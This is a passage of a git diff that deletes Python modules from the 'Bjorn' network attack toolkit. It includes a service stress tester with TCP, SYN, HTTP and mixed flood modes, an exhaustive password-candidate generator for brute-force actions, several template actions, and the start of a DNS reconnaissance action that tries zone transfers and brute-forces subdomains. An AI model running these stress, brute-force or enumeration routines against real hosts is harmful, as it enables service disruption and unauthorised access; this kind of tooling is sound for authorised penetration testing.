progress = ProgressTracker(self.shared_data, 100)
|
||||
|
||||
stress_results = self._run_stress(
|
||||
ip=ip,
|
||||
ports=ports,
|
||||
mode=mode,
|
||||
duration_s=duration_s,
|
||||
rate=rate,
|
||||
progress=progress,
|
||||
stress_progress_start=15,
|
||||
stress_progress_span=70,
|
||||
)
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "85%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 3: Post-stress baseline (85 - 95%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 3/4: post-stress baseline for {ip}")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "post-baseline"}
|
||||
self.shared_data.log_milestone(b_class, "RecoveryMeasure", f"Checking {ip} after stress")
|
||||
|
||||
post_baseline = self._measure_baseline(ip, ports)
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 4: Analysis & report (95 - 100%) #
|
||||
# ============================================================== #
|
||||
logger.info("Phase 4/4: analyzing results")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "analysis"}
|
||||
|
||||
analysis = self._analyze(pre_baseline, post_baseline, stress_results, ports)
|
||||
report_path = self._save_report(ip, mode, duration_s, rate, analysis)
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
|
||||
# Final UI update
|
||||
avg_deg = analysis.get("summary", {}).get("avg_degradation_pct", 0.0)
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Avg Degradation: {avg_deg}% | Report: {os.path.basename(report_path)}")
|
||||
return "success"
|
||||
|
||||
except Exception as exc:
|
||||
logger.error(f"BerserkerForce failed for {ip}: {exc}", exc_info=True)
|
||||
return "failed"
|
||||
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug / manual) ---------------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="BerserkerForce (service resilience tester)")
|
||||
parser.add_argument("--ip", required=True, help="Target IP address")
|
||||
parser.add_argument("--port", default="", help="Specific port (optional; uses row/DB otherwise)")
|
||||
parser.add_argument("--mode", default="tcp", choices=["tcp", "syn", "http", "mixed"])
|
||||
parser.add_argument("--duration", type=int, default=30, help="Stress duration in seconds")
|
||||
parser.add_argument("--rate", type=int, default=20, help="Probes per second (max 50)")
|
||||
args = parser.parse_args()
|
||||
|
||||
sd = SharedData()
|
||||
# Push CLI args into shared_data so the action reads them
|
||||
sd.berserker_mode = args.mode
|
||||
sd.berserker_duration = args.duration
|
||||
sd.berserker_rate = args.rate
|
||||
|
||||
act = BerserkerForce(sd)
|
||||
|
||||
row = {
|
||||
"MAC Address": getattr(sd, "get_raspberry_mac", lambda: "__GLOBAL__")() or "__GLOBAL__",
|
||||
"Hostname": "",
|
||||
"Ports": args.port,
|
||||
}
|
||||
|
||||
result = act.execute(args.ip, args.port, row, "berserker_force")
|
||||
print(f"Result: {result}")
|
||||
@@ -1,116 +0,0 @@
|
||||
"""bruteforce_common.py - Shared helpers for all bruteforce actions (progress tracking, password generation)."""
|
||||
|
||||
import itertools
|
||||
import threading
|
||||
import time
|
||||
from typing import Iterable, List, Sequence
|
||||
|
||||
|
||||
def _unique_keep_order(items: Iterable[str]) -> List[str]:
|
||||
seen = set()
|
||||
out: List[str] = []
|
||||
for raw in items:
|
||||
s = str(raw or "")
|
||||
if s in seen:
|
||||
continue
|
||||
seen.add(s)
|
||||
out.append(s)
|
||||
return out
|
||||
|
||||
|
||||
def build_exhaustive_passwords(shared_data, existing_passwords: Sequence[str]) -> List[str]:
|
||||
"""
|
||||
Build optional exhaustive password candidates from runtime config.
|
||||
Returns a bounded list (max_candidates) to stay Pi Zero friendly.
|
||||
"""
|
||||
if not bool(getattr(shared_data, "bruteforce_exhaustive_enabled", False)):
|
||||
return []
|
||||
|
||||
min_len = int(getattr(shared_data, "bruteforce_exhaustive_min_length", 1))
|
||||
max_len = int(getattr(shared_data, "bruteforce_exhaustive_max_length", 4))
|
||||
max_candidates = int(getattr(shared_data, "bruteforce_exhaustive_max_candidates", 2000))
|
||||
require_mix = bool(getattr(shared_data, "bruteforce_exhaustive_require_mix", False))
|
||||
|
||||
min_len = max(1, min_len)
|
||||
max_len = max(min_len, min(max_len, 8))
|
||||
max_candidates = max(0, min(max_candidates, 200000))
|
||||
if max_candidates == 0:
|
||||
return []
|
||||
|
||||
use_lower = bool(getattr(shared_data, "bruteforce_exhaustive_lowercase", True))
|
||||
use_upper = bool(getattr(shared_data, "bruteforce_exhaustive_uppercase", True))
|
||||
use_digits = bool(getattr(shared_data, "bruteforce_exhaustive_digits", True))
|
||||
use_symbols = bool(getattr(shared_data, "bruteforce_exhaustive_symbols", False))
|
||||
symbols = str(getattr(shared_data, "bruteforce_exhaustive_symbols_chars", "!@#$%^&*"))
|
||||
|
||||
groups: List[str] = []
|
||||
if use_lower:
|
||||
groups.append("abcdefghijklmnopqrstuvwxyz")
|
||||
if use_upper:
|
||||
groups.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
|
||||
if use_digits:
|
||||
groups.append("0123456789")
|
||||
if use_symbols and symbols:
|
||||
groups.append(symbols)
|
||||
|
||||
if not groups:
|
||||
return []
|
||||
|
||||
charset = "".join(groups)
|
||||
existing = set(str(x) for x in (existing_passwords or []))
|
||||
generated: List[str] = []
|
||||
|
||||
for ln in range(min_len, max_len + 1):
|
||||
for tup in itertools.product(charset, repeat=ln):
|
||||
pwd = "".join(tup)
|
||||
if pwd in existing:
|
||||
continue
|
||||
if require_mix and len(groups) > 1:
|
||||
if not all(any(ch in grp for ch in pwd) for grp in groups):
|
||||
continue
|
||||
generated.append(pwd)
|
||||
if len(generated) >= max_candidates:
|
||||
return generated
|
||||
return generated
|
||||
|
||||
|
||||
class ProgressTracker:
|
||||
"""
|
||||
Thread-safe progress helper for bruteforce actions.
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data, total_attempts: int):
|
||||
self.shared_data = shared_data
|
||||
self.total = max(1, int(total_attempts))
|
||||
self.attempted = 0
|
||||
self._lock = threading.Lock()
|
||||
self._last_emit = 0.0
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
def advance(self, step: int = 1):
|
||||
now = time.time()
|
||||
with self._lock:
|
||||
self.attempted += max(1, int(step))
|
||||
attempted = self.attempted
|
||||
total = self.total
|
||||
if now - self._last_emit < 0.2 and attempted < total:
|
||||
return
|
||||
self._last_emit = now
|
||||
pct = min(100, int((attempted * 100) / total))
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
def set_complete(self):
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
|
||||
def clear(self):
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
|
||||
def merged_password_plan(shared_data, dictionary_passwords: Sequence[str]) -> tuple[list[str], list[str]]:
|
||||
"""
|
||||
Returns (dictionary_passwords, fallback_passwords) with uniqueness preserved.
|
||||
Fallback list is empty unless exhaustive mode is enabled.
|
||||
"""
|
||||
dictionary = _unique_keep_order(dictionary_passwords or [])
|
||||
fallback = build_exhaustive_passwords(shared_data, dictionary)
|
||||
return dictionary, _unique_keep_order(fallback)
|
||||
@@ -1,105 +0,0 @@
|
||||
"""example_bjorn_action.py - Custom action template using the Bjorn action format."""
|
||||
|
||||
import time
|
||||
import logging
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="example_bjorn_action", level=logging.DEBUG)
|
||||
|
||||
# ---- Bjorn action metadata (required for Bjorn format detection) ----
|
||||
b_class = "ExampleBjornAction"
|
||||
b_module = "custom/example_bjorn_action"
|
||||
b_name = "Example Bjorn Action"
|
||||
b_description = "Demo custom action with shared_data access and DB queries."
|
||||
b_author = "Bjorn Community"
|
||||
b_version = "1.0.0"
|
||||
b_action = "custom"
|
||||
b_enabled = 1
|
||||
b_priority = 50
|
||||
b_port = None
|
||||
b_service = None
|
||||
b_trigger = None
|
||||
b_parent = None
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_tags = '["custom", "example", "template"]'
|
||||
|
||||
# ---- Argument schema (drives the web UI controls) ----
|
||||
b_args = {
|
||||
"target_ip": {
|
||||
"type": "text",
|
||||
"default": "192.168.1.1",
|
||||
"description": "Target IP address to probe"
|
||||
},
|
||||
"scan_count": {
|
||||
"type": "number",
|
||||
"default": 3,
|
||||
"min": 1,
|
||||
"max": 100,
|
||||
"description": "Number of probe iterations"
|
||||
},
|
||||
"verbose": {
|
||||
"type": "checkbox",
|
||||
"default": False,
|
||||
"description": "Enable verbose output"
|
||||
},
|
||||
"mode": {
|
||||
"type": "select",
|
||||
"choices": ["quick", "normal", "deep"],
|
||||
"default": "normal",
|
||||
"description": "Scan depth"
|
||||
}
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"name": "Quick local scan", "args": {"target_ip": "192.168.1.1", "scan_count": 1, "mode": "quick"}},
|
||||
{"name": "Deep scan", "args": {"target_ip": "10.0.0.1", "scan_count": 10, "mode": "deep", "verbose": True}},
|
||||
]
|
||||
|
||||
|
||||
class ExampleBjornAction:
|
||||
"""Custom Bjorn action with full shared_data access."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
logger.info("ExampleBjornAction initialized")
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Main entry point called by action_runner / orchestrator.
|
||||
|
||||
Args:
|
||||
ip: Target IP address
|
||||
port: Target port (may be empty)
|
||||
row: Dict with MAC Address, IPs, Ports, Alive
|
||||
status_key: Action class name (for status tracking)
|
||||
|
||||
Returns:
|
||||
'success' or 'failed'
|
||||
"""
|
||||
verbose = getattr(self.shared_data, "verbose", False)
|
||||
scan_count = int(getattr(self.shared_data, "scan_count", 3))
|
||||
mode = getattr(self.shared_data, "mode", "normal")
|
||||
|
||||
print(f"[*] Running ExampleBjornAction on {ip} (mode={mode}, count={scan_count})")
|
||||
|
||||
# Example: query DB for known hosts
|
||||
try:
|
||||
host_count = self.shared_data.db.query_one(
|
||||
"SELECT COUNT(1) c FROM hosts"
|
||||
)
|
||||
print(f"[*] Known hosts in DB: {host_count['c'] if host_count else 0}")
|
||||
except Exception as e:
|
||||
print(f"[!] DB query failed: {e}")
|
||||
|
||||
# Simulate work
|
||||
for i in range(scan_count):
|
||||
if getattr(self.shared_data, "orchestrator_should_exit", False):
|
||||
print("[!] Stop requested, aborting")
|
||||
return "failed"
|
||||
print(f"[*] Probe {i+1}/{scan_count} on {ip}...")
|
||||
if verbose:
|
||||
print(f" MAC={row.get('MAC Address', 'unknown')} mode={mode}")
|
||||
time.sleep(1)
|
||||
|
||||
print(f"[+] Done. {scan_count} probes completed on {ip}")
|
||||
return "success"
|
||||
@@ -1,97 +0,0 @@
|
||||
"""example_free_script.py - Custom script template using plain Python (no shared_data)."""
|
||||
|
||||
import argparse
|
||||
import time
|
||||
import sys
|
||||
|
||||
# ---- Display metadata (optional, used by the web UI) ----
|
||||
b_name = "Example Free Script"
|
||||
b_description = "Standalone Python script demo with argparse and progress output."
|
||||
b_author = "Bjorn Community"
|
||||
b_version = "1.0.0"
|
||||
b_tags = '["custom", "example", "template", "free"]'
|
||||
|
||||
# ---- Argument schema (drives the web UI controls, same format as Bjorn actions) ----
|
||||
b_args = {
|
||||
"target": {
|
||||
"type": "text",
|
||||
"default": "192.168.1.0/24",
|
||||
"description": "Target host or CIDR range"
|
||||
},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
"default": 5,
|
||||
"min": 1,
|
||||
"max": 60,
|
||||
"description": "Timeout per probe in seconds"
|
||||
},
|
||||
"output_format": {
|
||||
"type": "select",
|
||||
"choices": ["text", "json", "csv"],
|
||||
"default": "text",
|
||||
"description": "Output format"
|
||||
},
|
||||
"dry_run": {
|
||||
"type": "checkbox",
|
||||
"default": False,
|
||||
"description": "Simulate without actually probing"
|
||||
}
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"name": "Quick local check", "args": {"target": "192.168.1.1", "timeout": 2, "output_format": "text"}},
|
||||
{"name": "Dry run JSON", "args": {"target": "10.0.0.0/24", "timeout": 5, "output_format": "json", "dry_run": True}},
|
||||
]
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Example free-form Bjorn custom script")
|
||||
parser.add_argument("--target", default="192.168.1.0/24", help="Target host or CIDR")
|
||||
parser.add_argument("--timeout", type=int, default=5, help="Timeout per probe (seconds)")
|
||||
parser.add_argument("--output-format", default="text", choices=["text", "json", "csv"])
|
||||
parser.add_argument("--dry-run", action="store_true", help="Simulate without probing")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] Example Free Script starting")
|
||||
print(f"[*] Target: {args.target}")
|
||||
print(f"[*] Timeout: {args.timeout}s")
|
||||
print(f"[*] Format: {args.output_format}")
|
||||
print(f"[*] Dry run: {args.dry_run}")
|
||||
print()
|
||||
|
||||
# Simulate some work with progress output
|
||||
steps = 5
|
||||
for i in range(steps):
|
||||
print(f"[*] Step {i+1}/{steps}: {'simulating' if args.dry_run else 'probing'} {args.target}...")
|
||||
time.sleep(1)
|
||||
|
||||
# Example output in different formats
|
||||
results = [
|
||||
{"host": "192.168.1.1", "status": "up", "latency": "2ms"},
|
||||
{"host": "192.168.1.100", "status": "up", "latency": "5ms"},
|
||||
]
|
||||
|
||||
if args.output_format == "json":
|
||||
import json
|
||||
print(json.dumps(results, indent=2))
|
||||
elif args.output_format == "csv":
|
||||
print("host,status,latency")
|
||||
for r in results:
|
||||
print(f"{r['host']},{r['status']},{r['latency']}")
|
||||
else:
|
||||
for r in results:
|
||||
print(f" {r['host']} {r['status']} ({r['latency']})")
|
||||
|
||||
print()
|
||||
print(f"[+] Done. Found {len(results)} hosts.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
print("\n[!] Interrupted")
|
||||
sys.exit(130)
|
||||
except Exception as e:
|
||||
print(f"\n[!] Error: {e}")
|
||||
sys.exit(1)
|
||||
@@ -1,246 +0,0 @@
|
||||
"""demo_action.py - Minimal template action that prints its arguments."""
|
||||
|
||||
b_class = "DemoAction"
|
||||
b_module = "demo_action"
|
||||
b_enabled = 1
|
||||
b_action = "normal" # normal | aggressive | stealth
|
||||
b_category = "demo"
|
||||
b_name = "Demo Action"
|
||||
b_description = "Demonstration action: simply prints the received arguments."
|
||||
b_author = "Template"
|
||||
b_version = "0.1.0"
|
||||
b_icon = "demo_action.png"
|
||||
b_status = "demo_action"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = None
|
||||
b_parent = None
|
||||
b_priority = 0
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 60
|
||||
b_max_retries = 0
|
||||
b_stealth_level = 10
|
||||
b_risk_level = "low"
|
||||
b_tags = ["demo", "template", "test"]
|
||||
|
||||
b_examples = [
|
||||
{
|
||||
"profile": "quick",
|
||||
"interface": "auto",
|
||||
"target": "192.168.1.10",
|
||||
"port": 80,
|
||||
"protocol": "tcp",
|
||||
"verbose": True,
|
||||
"timeout": 30,
|
||||
"concurrency": 2,
|
||||
"notes": "Quick HTTP scan"
|
||||
},
|
||||
{
|
||||
"profile": "deep",
|
||||
"interface": "eth0",
|
||||
"target": "example.org",
|
||||
"port": 443,
|
||||
"protocol": "tcp",
|
||||
"verbose": False,
|
||||
"timeout": 120,
|
||||
"concurrency": 8,
|
||||
"notes": "Deep TLS profile"
|
||||
}
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/DemoAction.md"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# UI argument schema
|
||||
# ---------------------------------------------------------------------------
|
||||
b_args = {
|
||||
"profile": {
|
||||
"type": "select",
|
||||
"label": "Profile",
|
||||
"choices": ["quick", "balanced", "deep"],
|
||||
"default": "balanced",
|
||||
"help": "Choose a profile: speed vs depth."
|
||||
},
|
||||
"interface": {
|
||||
"type": "select",
|
||||
"label": "Network Interface",
|
||||
"choices": [],
|
||||
"default": "auto",
|
||||
"help": "'auto' tries to detect the default network interface."
|
||||
},
|
||||
"target": {
|
||||
"type": "text",
|
||||
"label": "Target (IP/Host)",
|
||||
"default": "192.168.1.1",
|
||||
"placeholder": "e.g. 192.168.1.10 or example.org",
|
||||
"help": "Main target."
|
||||
},
|
||||
"port": {
|
||||
"type": "number",
|
||||
"label": "Port",
|
||||
"min": 1,
|
||||
"max": 65535,
|
||||
"step": 1,
|
||||
"default": 80
|
||||
},
|
||||
"protocol": {
|
||||
"type": "select",
|
||||
"label": "Protocol",
|
||||
"choices": ["tcp", "udp"],
|
||||
"default": "tcp"
|
||||
},
|
||||
"verbose": {
|
||||
"type": "checkbox",
|
||||
"label": "Verbose output",
|
||||
"default": False
|
||||
},
|
||||
"timeout": {
|
||||
"type": "slider",
|
||||
"label": "Timeout (seconds)",
|
||||
"min": 5,
|
||||
"max": 600,
|
||||
"step": 5,
|
||||
"default": 60
|
||||
},
|
||||
"concurrency": {
|
||||
"type": "range",
|
||||
"label": "Concurrency",
|
||||
"min": 1,
|
||||
"max": 32,
|
||||
"step": 1,
|
||||
"default": 4,
|
||||
"help": "Number of parallel tasks (demo only)."
|
||||
},
|
||||
"notes": {
|
||||
"type": "text",
|
||||
"label": "Notes",
|
||||
"default": "",
|
||||
"placeholder": "Free-form comments",
|
||||
"help": "Free text field to demonstrate a simple string input."
|
||||
}
|
||||
}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Dynamic detection of interfaces
|
||||
# ---------------------------------------------------------------------------
|
||||
import os
|
||||
try:
|
||||
import psutil
|
||||
except Exception:
|
||||
psutil = None
|
||||
|
||||
|
||||
def _list_net_ifaces() -> list[str]:
|
||||
names = set()
|
||||
if psutil:
|
||||
try:
|
||||
names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo")
|
||||
except Exception:
|
||||
pass
|
||||
if os.name == "nt":
|
||||
return ["Ethernet", "Wi-Fi"]
|
||||
try:
|
||||
for n in os.listdir("/sys/class/net"):
|
||||
if n and n != "lo":
|
||||
names.add(n)
|
||||
except Exception:
|
||||
pass
|
||||
out = ["auto"] + sorted(names)
|
||||
seen, unique = set(), []
|
||||
for x in out:
|
||||
if x not in seen:
|
||||
unique.append(x)
|
||||
seen.add(x)
|
||||
return unique
|
||||
|
||||
|
||||
def compute_dynamic_b_args(base: dict) -> dict:
|
||||
d = dict(base or {})
|
||||
if "interface" in d:
|
||||
d["interface"]["choices"] = _list_net_ifaces() or ["auto", "eth0", "wlan0"]
|
||||
if d["interface"].get("default") not in d["interface"]["choices"]:
|
||||
d["interface"]["default"] = "auto"
|
||||
return d
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# DemoAction class
|
||||
# ---------------------------------------------------------------------------
|
||||
import argparse
|
||||
|
||||
|
||||
class DemoAction:
|
||||
"""Wrapper called by the orchestrator."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.meta = {
|
||||
"class": b_class,
|
||||
"module": b_module,
|
||||
"enabled": b_enabled,
|
||||
"action": b_action,
|
||||
"category": b_category,
|
||||
"name": b_name,
|
||||
"description": b_description,
|
||||
"author": b_author,
|
||||
"version": b_version,
|
||||
"icon": b_icon,
|
||||
"examples": b_examples,
|
||||
"docs_url": b_docs_url,
|
||||
"args_schema": b_args,
|
||||
}
|
||||
|
||||
def execute(self, ip=None, port=None, row=None, status_key=None):
|
||||
"""Called by the orchestrator. This demo only prints arguments."""
|
||||
self.shared_data.bjorn_orch_status = "DemoAction"
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"status": "running"}
|
||||
|
||||
print("=== DemoAction :: executed ===")
|
||||
print(f" IP/Target: {ip}:{port}")
|
||||
print(f" Row: {row}")
|
||||
print(f" Status key: {status_key}")
|
||||
print("No real action performed: demonstration only.")
|
||||
return "success"
|
||||
|
||||
def run(self, argv=None):
|
||||
"""Standalone CLI mode for testing."""
|
||||
parser = argparse.ArgumentParser(description=b_description)
|
||||
parser.add_argument("--profile", choices=b_args["profile"]["choices"],
|
||||
default=b_args["profile"]["default"])
|
||||
parser.add_argument("--interface", default=b_args["interface"]["default"])
|
||||
parser.add_argument("--target", default=b_args["target"]["default"])
|
||||
parser.add_argument("--port", type=int, default=b_args["port"]["default"])
|
||||
parser.add_argument("--protocol", choices=b_args["protocol"]["choices"],
|
||||
default=b_args["protocol"]["default"])
|
||||
parser.add_argument("--verbose", action="store_true",
|
||||
default=bool(b_args["verbose"]["default"]))
|
||||
parser.add_argument("--timeout", type=int, default=b_args["timeout"]["default"])
|
||||
parser.add_argument("--concurrency", type=int, default=b_args["concurrency"]["default"])
|
||||
parser.add_argument("--notes", default=b_args["notes"]["default"])
|
||||
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
print("=== DemoAction :: received parameters ===")
|
||||
for k, v in vars(args).items():
|
||||
print(f" {k:11}: {v}")
|
||||
|
||||
print("\n=== Demo usage of parameters ===")
|
||||
if args.verbose:
|
||||
print("[verbose] Verbose mode enabled → simulated detailed logs...")
|
||||
|
||||
if args.profile == "quick":
|
||||
print("Profile: quick → would perform fast operations.")
|
||||
elif args.profile == "deep":
|
||||
print("Profile: deep → would perform longer, more thorough operations.")
|
||||
else:
|
||||
print("Profile: balanced → compromise between speed and depth.")
|
||||
|
||||
print(f"Target: {args.target}:{args.port}/{args.protocol} via {args.interface}")
|
||||
print(f"Timeout: {args.timeout} sec, Concurrency: {args.concurrency}")
|
||||
print("No real action performed: demonstration only.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
DemoAction(shared_data=None).run()
|
||||
@@ -1,821 +0,0 @@
|
||||
"""dns_pillager.py - DNS recon: reverse lookups, record enumeration, zone transfers, subdomain brute."""
|
||||
|
||||
import os
|
||||
import json
|
||||
import socket
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
import datetime
|
||||
|
||||
from typing import Dict, List, Optional, Tuple, Set
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="dns_pillager.py", level=logging.DEBUG)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Graceful import for dnspython (socket fallback if unavailable)
|
||||
# ---------------------------------------------------------------------------
|
||||
_HAS_DNSPYTHON = False
|
||||
try:
|
||||
import dns.resolver
|
||||
import dns.zone
|
||||
import dns.query
|
||||
import dns.reversename
|
||||
import dns.rdatatype
|
||||
import dns.exception
|
||||
_HAS_DNSPYTHON = True
|
||||
logger.info("dnspython library loaded successfully.")
|
||||
except ImportError:
|
||||
logger.warning(
|
||||
"dnspython not installed. DNS operations will use socket fallback "
|
||||
"(limited functionality). Install with: pip install dnspython"
|
||||
)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Action metadata (AST-friendly, consumed by sync_actions / orchestrator)
|
||||
# ---------------------------------------------------------------------------
|
||||
b_class = "DNSPillager"
|
||||
b_module = "dns_pillager"
|
||||
b_status = "dns_pillager"
|
||||
b_port = 53
|
||||
b_service = '["dns"]'
|
||||
b_trigger = 'on_any:["on_host_alive","on_new_port:53"]'
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 20
|
||||
b_cooldown = 7200
|
||||
b_rate_limit = "5/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 7
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["dns", "recon", "enumeration"]
|
||||
|
||||
b_category = "recon"
|
||||
b_name = "DNS Pillager"
|
||||
b_description = (
|
||||
"Comprehensive DNS reconnaissance and enumeration action. "
|
||||
"Performs reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), "
|
||||
"zone transfer attempts, and subdomain brute-force discovery. "
|
||||
"Requires: dnspython (pip install dnspython) for full functionality; "
|
||||
"falls back to socket-based lookups if unavailable."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "DNSPillager.png"
|
||||
|
||||
b_args = {
|
||||
"threads": {
|
||||
"type": "number",
|
||||
"label": "Subdomain Threads",
|
||||
"min": 1,
|
||||
"max": 50,
|
||||
"step": 1,
|
||||
"default": 10,
|
||||
"help": "Number of threads for subdomain brute-force enumeration."
|
||||
},
|
||||
"wordlist": {
|
||||
"type": "text",
|
||||
"label": "Subdomain Wordlist",
|
||||
"default": "",
|
||||
"placeholder": "/path/to/wordlist.txt",
|
||||
"help": "Path to a custom subdomain wordlist file. Leave empty for built-in list (~100 entries)."
|
||||
},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
"label": "DNS Query Timeout (s)",
|
||||
"min": 1,
|
||||
"max": 30,
|
||||
"step": 1,
|
||||
"default": 3,
|
||||
"help": "Timeout in seconds for individual DNS queries."
|
||||
},
|
||||
"enable_axfr": {
|
||||
"type": "checkbox",
|
||||
"label": "Attempt Zone Transfer (AXFR)",
|
||||
"default": True,
|
||||
"help": "Try AXFR zone transfers against discovered nameservers."
|
||||
},
|
||||
"enable_subdomains": {
|
||||
"type": "checkbox",
|
||||
"label": "Enable Subdomain Brute-Force",
|
||||
"default": True,
|
||||
"help": "Enumerate subdomains using wordlist."
|
||||
},
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"threads": 10, "wordlist": "", "timeout": 3, "enable_axfr": True, "enable_subdomains": True},
|
||||
{"threads": 5, "wordlist": "/home/bjorn/wordlists/subdomains.txt", "timeout": 5, "enable_axfr": False, "enable_subdomains": True},
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/DNSPillager.md"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data directories
|
||||
# ---------------------------------------------------------------------------
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "dns")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Built-in subdomain wordlist (~100 common entries)
|
||||
# ---------------------------------------------------------------------------
|
||||
BUILTIN_SUBDOMAINS = [
|
||||
"www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "ns2",
|
||||
"ns3", "ns4", "dns", "dns1", "dns2", "mx", "mx1", "mx2", "imap", "pop3",
|
||||
"blog", "dev", "staging", "test", "testing", "beta", "alpha", "demo",
|
||||
"admin", "administrator", "panel", "cpanel", "webmin", "portal",
|
||||
"api", "api2", "api3", "gateway", "gw", "proxy", "cdn", "media",
|
||||
"static", "assets", "img", "images", "files", "download", "upload",
|
||||
"vpn", "remote", "ssh", "rdp", "citrix", "owa", "exchange",
|
||||
"db", "database", "mysql", "postgres", "sql", "mongodb", "redis", "elastic",
|
||||
"shop", "store", "app", "apps", "mobile", "m",
|
||||
"intranet", "extranet", "internal", "external", "private", "public",
|
||||
"cloud", "aws", "azure", "gcp", "s3", "storage",
|
||||
"git", "gitlab", "github", "svn", "repo", "ci", "cd", "jenkins", "build",
|
||||
"monitor", "monitoring", "grafana", "prometheus", "kibana", "nagios", "zabbix",
|
||||
"log", "logs", "syslog", "elk",
|
||||
"chat", "slack", "teams", "jira", "confluence", "wiki",
|
||||
"backup", "backups", "bak", "archive",
|
||||
"secure", "security", "sso", "auth", "login", "oauth",
|
||||
"docs", "doc", "help", "support", "kb", "status",
|
||||
"calendar", "crm", "erp", "hr",
|
||||
"web", "web1", "web2", "server", "server1", "server2",
|
||||
"host", "node", "worker", "master",
|
||||
]
|
||||
|
||||
# DNS record types to enumerate
|
||||
DNS_RECORD_TYPES = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA", "SRV", "PTR"]
|
||||
|
||||
|
||||
class DNSPillager:
|
||||
"""
|
||||
DNS reconnaissance action for the Bjorn orchestrator.
|
||||
Performs reverse DNS, record enumeration, zone transfer attempts,
|
||||
and subdomain brute-force discovery.
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# IP -> (MAC, hostname) identity cache from DB
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
# DNS resolver setup (dnspython)
|
||||
self._resolver = None
|
||||
if _HAS_DNSPYTHON:
|
||||
self._resolver = dns.resolver.Resolver()
|
||||
self._resolver.timeout = 3
|
||||
self._resolver.lifetime = 5
|
||||
|
||||
# Ensure output directory exists
|
||||
try:
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to create output directory {OUTPUT_DIR}: {e}")
|
||||
|
||||
# Thread safety
|
||||
self._lock = threading.Lock()
|
||||
|
||||
logger.info("DNSPillager initialized (dnspython=%s)", _HAS_DNSPYTHON)
|
||||
|
||||
# --------------------- Identity cache (hosts) ---------------------
|
||||
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
"""Rebuild IP -> (MAC, current_hostname) from DB.hosts."""
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
